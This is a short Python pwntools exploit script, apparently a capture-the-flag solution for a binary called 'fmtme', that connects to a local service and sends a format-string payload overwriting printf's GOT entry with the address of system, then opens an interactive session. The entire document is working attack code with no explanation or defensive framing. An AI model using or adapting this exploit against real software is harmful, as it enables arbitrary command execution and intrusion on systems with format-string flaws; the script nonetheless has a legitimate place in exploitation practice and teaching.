from pwn import *
context.log_level = 'DEBUG'
context.arch = 'i386'
p = remote('127.0.0.1', 9999)
#p = process('./fmtme')
#gdb.attach(p, 'b * 0x0804853d')	

system = 0x8048390 # plt
printf = 0x804a014 # got

print('a64l got address {}'.format(hex(printf)))

payload = fmtstr_payload(7, {printf: system}, 0, write_size='int')

log.info('payload: {}'.format(payload))


p.sendlineafter('cool :B', payload)
p.recv()

p.interactive()

